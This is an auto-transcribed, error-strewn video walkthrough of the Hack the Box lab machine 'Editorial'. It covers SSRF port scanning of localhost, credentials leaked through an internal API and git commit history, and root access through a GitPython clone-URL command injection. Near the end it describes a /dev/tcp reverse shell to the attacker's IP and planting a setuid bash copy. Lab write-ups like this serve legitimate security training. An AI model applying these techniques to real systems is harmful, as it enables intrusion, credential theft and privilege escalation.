Transcript for:
Hack the Box SSRF Exploitation Guide

What's going on YouTube? This is Ipzeg, we're doing an editorial from Hack the Box, which is a nice, simple, easy box. It starts off with a server-side request forgery that you can use to access ports listening on local host, and one of which is running an API server.

If you do some late enumeration, you discover there's a message to a developer that contains credentials. You can use those to SSH into the box, and then looking around, you discover the git commit history, and one of the commits does contain another set of credentials, so you can switch to another user. There's able to pseudo with a Python script and that Python script is using the get Python library that has a vulnerability in it. If you give it a URL that uses the shell extension, you can actually execute commands. So with all that being said, let's just jump in.

As always, we're gonna start off with an M map. So dash SC for default scripts as V numerate versions dash VV for double reverse. This gives us things like the TTL, O, A, output all formats by the end map director and call it editorial. Then the IP address of 101011.20.

This can take some time to run so I've already ran it. Looking at the results we have just two ports open the first one being SSH on port 22 and the banner tells us it's an Ubuntu server. We also have HTTP listening on port 80. Its banner tells us it's Nginx also running on Ubuntu and one of the nmap scripts tells us it's redirecting everything to editorial.http. So let's go ahead and add this to a host file so do sudo v etsy host and then we can add 10, 10, 11, 20 editorial.htm.

And let's take a look at the website. So if we go to http editorial.htm, we get a page. And the first thing I look for is try to find a way to enumerate what the framework is running behind the website.

Looking at the page source, I don't really see anything. Normally I look at the headers. Sometimes, um, this can leak it, but this looks pretty standard. It's just a simple bootstrap thing.

Um, you can also look at cookies. So if we go in the storage tab, we don't have any yet. So that's not going to help us.

But the big indicator normally is 404 pages. So I'm just going to go to a page that doesn't exist. And looking at this, this is definitely going to be a flask web server just based upon this 404. If you go to OXDF's website, he has started making a cheat sheet for this.

So we can just go to OXDF gitlab.io, go over to cheat sheets, default 404 page, and you can see screenshots of what they should look like, right? If we go to Flask, this is definitely going to match up with what we see in Flask. So that's a good way to identify what framework is running. Doesn't really help us, but I always just like thinking that in the back of my mind, because some frameworks have more common vulnerabilities than other ones, right?

But that's always just part of the recon step for me. So let's take a look at what this website allows us to do. We have this subscribe to newsletter. So if I add a email here, Let's see what happens. Let's turn intercept on.

Subscribe. Nothing. Let's go over to the console tab. Network.

Reload. We have to turn intercept off. So this button is doing absolutely nothing. We can move on to the next page.

If we go to publish with us, we have a page that asks us for some information. And I guess it's going to help us publish a book through their website. We have a cover URL related to the book and then browse. So whenever it asks for a URL, the first thing I try is just server side request forgery.

So I'm going to make it make a request back to myself. So I'm going to do 10 1014 eight port 8000. And then I'm going to start up a listener here. So we'll do NCLVMP 8000. preview and we can see it makes a request back to us.

So we have a connection from 10, 10, 11, 20, and we can see the user agent is Python dash request. Now knowing this Python request doesn't allow a lot of non HTTP things. So I can skip like testing, um, follow disclosure through the file handler because the request library, isn't going to allow that we could look for vulnerabilities in this Python request library. Sometimes you get lucky there, but, um, I don't think we'll have any, we can just Do a quick look. Does this bring back like a sneak page?

We do have a page on it, but this is not looking like it's going to be that interesting to us. This is something with SSL, I'm guessing, because I see verify and we're over just plain HTTP. So we can probably ignore that. And this is a information disclosure over proxy authorization, and we're not using any proxies. So we can ignore So what else can we do here?

Well there's going to be two things. We can try to... fuzz ports listing on localhost or you can try to get the ipv6 information out of it i'm going to start off with the ipv6 because we haven't really shown that in a long time it doesn't really get us anything here but it's something that's good to do right so i'm going to start a ipv6 listener on port 9001 and then we're going to get our ip um six address so that is going to be dead beef 2 right here and if i go back to the page um do we have this in repeater We don't, we should just intercept this so we can intercept the request center repeater. And if we replace the IP address with our IPV6, uh, did I listen on 9001?

I did make a connection. We can see the server's IPV6 is going to be this, right? So we could also do a, um, Let's do sudo nmap. I want to say we have to do dash six. OA nmap ipv6.

This? Maybe? I'm going to add a dash vv so we have open ports as we find them. And yeah that looks like it works.

Oddly enough we didn't get port 80 only port 22. Is port 80 not listening on ipv6? It is not. So only 22 is sometimes you'll get lucky and the firewall will only be configured on IPv4. So if you look at IPv6 and do a full port scan, you may have additional ports that end up being open, right? So IPv6 dead end, but something that's fun to test out.

So let's now go do the other thing. And that is enumerate open ports on the box. So I'm going to do We do port 22. We get this redirect to static splash whatever.

Let's see what this is. Editorial, go here. We probably have to turn intercept off.

And we just get this image. Let's try going to repeater. If we do port 80, it is just hanging for us. So what I'm guessing happened here is it redirected to itself.

and then send it to editorial dot HDB and that box doesn't know what editorial to HDB is. So it just hangs. So that's going to be a big nothing. So I guess let's just send this over to Fuff and then we can fuzz all the ports.

So I'm going to do a capital fuzz here, we will copy this to a file. And I'm going to make this SSRF dot request. So now we can do Fuf dash request SSRF dash request proto is going to be HTTP and word list is going to be a sequence from one to 65,535. So we can do that.

And then let's see, what else do we want to do? Probably that should be enough. I'm going to filter the size 61 because I'm assuming it's going to give us a slightly different image. We could potentially just filter based upon the reg X because I think everything it doesn't resolve. So if we do 22, we see 163. Let's just copy this.

It's a good way to see paste it here. We have a match. We do it on this port.

We're getting a match. So we're looking for whenever we don't get this string. So I'm just going to filter I guess FR for regex maybe this will do it. Yeah in case the valid one is also going to be the same length this helps us out right.

So now we're just going to send all the requests and hopefully we get something. It looks like my fluff hung for a little bit but it just resumed. Let's see the end map has finished only port 22 over ipv6. And let's see, I think the fluff is going to give us a result in just a second. So I'm not going to bother pausing the video, but we're just numering all the ports and at 5,000, we get a response back.

There's also an error message here. And that error message is actually going to be the timeout. Fuff isn't showing us that if you want to see timeouts and things like that, you could enable the debug log. So like dash dash debug log, and then we can say the output is dev STD out.

So now whenever that error comes. it'll get piped over to std out you could probably do std air as well for standard error but When it errors, we'll see it in this thing. But right now what's important is port 5000 gives us something unique.

We go to static uploads this. So let's take a look at what this page is. It's no longer static images, it's static uploads and it's giving us a actual file.

So I'm just going to go over to a terminal and curl this so we don't have to download and upload but it looks like maybe it already expired. Let's copy this again and then we will paste. There we go. So we have a bunch of JSON data.

So if I do jq. We can filter it and it looks like it's talking about the API. So we have messages. We can retrieve a list of all the promotions.

Coupons. Retrieve a list of coupons. New authors. Retrieve the welcome message sent to the authors. And the one thing I don't like about this box is a lot of these endpoints, I think are airing out or something.

I don't know exactly what the problem is, but if we try to request a lot of them, it will give us this. And if we copy and paste it here, it just goes to a 404. But we do want to test out all the endpoints. Try to do it a little bit quicker just in case it deleted.

But if we went down the list and tried all the endpoints, Some of them do give information. So if we try the messages to the authors, so let's paste this, we can grab this endpoint, we get JSON. So let's do a jq dot, I'm also going to say dash s dash q to hide that.

Let's see, we can do template mail message dash r for raw. So that way, it just looks a bit better. And we can see, welcome to the team.

We are thrilled to have you on board. Can't wait to see the incredible content. You can log in with these credentials.

So let's try doing a SSH with the dev account. So we can SSH dev at 10.10.11.20. And then put in the password they gave us.

And we get logged in as the dev user. But before we move on, I do want to go back over to FUF and show you the error message. So since we did the... debug log the standard out.

We do see when the error increments just before it puts the post here, we can see contacts deadline exceeded client timeout. So that is why we had an error message. Unfortunately, it doesn't tell us the payload it sent with that error message. So it's a little bit hard to debug, but at least we know what the error actually was. So let's keep going on with our SSH access as dev.

If we do an LS, we just have user.txt. And then if we go into apps, this directory is empty. And when initially doing the box, I didn't do an LA and there's this dot get directory.

But I missed this the first time going through it. So my other numeration was just trying to find where the website was. So I did ver dub dub dub and looked if there was any website here, we don't have it. My next look is normally opt. And we do have some directories.

So we have the apps. So if I go into apps, we have the app editorial, and this is going to be the flask page, right? So we have some to-dos here.

It doesn't really look like anything's important, but the reason why I was going here is trying to find out if there was any database, because there's going to be credentials there, but it doesn't really look like there is anything. So the next thing I looked at was the other applications. So if we go, I could have saw there were two apps.

Okay, internal apps. And then we have LSLA. We can see environment scripts, clone changes, and we have another user here, or at least this is a group prod. If we cat etsy passwd, grep for every line that ends in sh, we do have that user there. But I looked into environment scripts, look at clear, and this looks like it's just going to be some type of cron that is clearing files in the upload directory.

And there's really no way we can get code execution from this. When doing the box, I went over to GTFO bins and looked at the RM to see if there was any way we could get code execution. Because this open close bracket is going to be every file here. So there is a way we can put like input here, but no way to actually execute code. So going out of here I want to go into clone changes, we get a denied, we go into the app API, this is going to be the API server, I believe.

What is this? So these are just coupons. This is just the API endpoint, I guess. And that's where we had the message from dev. Let's see.

I just saw a comment that I did not read fully. Replace dev credentials with welcome creds when we get validation finished. So these are just more notes in the application, but I want to look at what prod was.

So if we did a find slash dash user prod, hide all error messages, see if anything comes out. We just have home prod. And I don't think there's really anything.

That's new. I never even looked at this. Let's see. Permission denied. So we can't even go into that.

Let's see. We did the find. Let's do a group prod to see if there's anything interesting there. Home prod for our crash. Nothing really.

The other thing I had done was a find slash and then type f. I'm going to give it the user dev so we don't grep everything. We can exec grep prod on all files right and we probably should hide error messages. And right off the bat we do have some references of prod. It's not actually referencing the user.

but it's pointing us towards that directory we missed. And I don't think it's actually telling us the directory or the file. Let's see.

I wonder if I do a dash ls. Is that gonna now... That's gonna show everything.

Do I do ls first? Nope. I'm not sure how to get to the file name, but that had pointed me back over to this apps directory because those hits came out of the get folder. So if we do a get log, we can see everything here.

We could do a get status and we could also like restore all the files. But what I want to do was a, um, what is it? Get log dash G prod, maybe That's not it. What is the search? Maybe it's capital G.

There we go. So what this is doing is searching all like the git diffs for this word. And this can be regex when you use the dash capital G. So this is a good way just to search for diffs when this appears. So if we do like a git show on this commit, we'll be able to see the change.

So on the downgrade prod to dev. They remove this line and added this line and the line they removed is prod with prods password. So we can copy this and we do su dash prod and we can switch over to that user. If we look at it, there's also whoops, not me and do that again.

The second commit right here. And this is the commit where they introduce that credential, right? So if we do a get show here, they're adding the API. and right here the template message they add it with prod's password right so i like using the um git log command to search around i mean you could have just done git log and then saw huh this sounds interesting and grab it but uh doing it this way is a bit uh i guess better in the real world because there's gonna be so many commits it's gonna be really hard to get through but if you use searching you can find it right Like if I do a dash capital G password, we can see these two commits have the word password in them.

So yeah, let's switch over to the prod user. And now we should be able to go into that opt directory, right? That was opt internal apps. And if we go clone changes, we could see there is this script here. And if we do a sudo dash L, we can see we can execute this script.

as root. So looking at the script, let's just clear the screen and put it up and see where a vulnerability could be. So there's only one place we can have user input and that's URL to clone. And right here we do a, um, get clone, specify the URL, new changes. And then this multi option is enabling extensions.

So what this allows us to do is put an extension into the URL. And if we also look at the get repo, like Python get repo, there is going to be a vulnerability here. So let's say exploit get repo Python to see what it is, there is a RCE. And this looks very much like what we have it.

And if the URL is dash C touch percent tap pound, it's going to create that file. And this percent is used kind of as a delimiter. Maybe it's percent space delimits between argv, I think. So let's just try this.

So we'll do sudo dash l again. Sudo. Copy this.

And then we have to put everything in arg1. So we'll do it in a quote. And we'll do... please subscribe right so if we run this command it errors out but if we look at temp we do have please subscribe that was created and if we look at the date it was created just now so we have code execution so what we want to do is try to get a reverse shell working and this could probably be tough because of all the special characters um i guess we can try it i don't think it's going to work so we'll do bash dash c this is going to be really ugly let's see we do a quote like that bash what if i even need let's try this dev tcp 10 10 14 8 9001 let's see if this works No, we did not get it.

So we can try putting the percents here, but I still don't think it's going to work. I never actually got the, Oh, it does. I was gonna say, I never got it to work with a reverse shell when I was just playing with the box. Um, but now we are doing it that way.

So anytime you do a space, I guess you want to use a percent, um, bit weird how it works, but yeah. When I was doing the box, I had trouble with this with all these percents. And I just assumed these special characters were bad.

So what I had ended up doing was I copied, let's do which bash CP user bin bash over to temp. And then I gave this set UID permissions. So we did a chmod 475. Wait, hold on one second, you probably have to make the owner root. So let's do that real quick. So we can do ch own root root temp bash root owns it now.

So now we can do the ch mod 4755, which will give it the set UID bit. So if we do that now, temp bash, that's now a set UID. So I just did temp bash dash P, and now my effective UID is root.

So that's how I had done it. But the river shell does work as long as you have every space be percent space, which is odd, but it works. So hope you guys enjoyed the video. Take care and I'll see you all next time.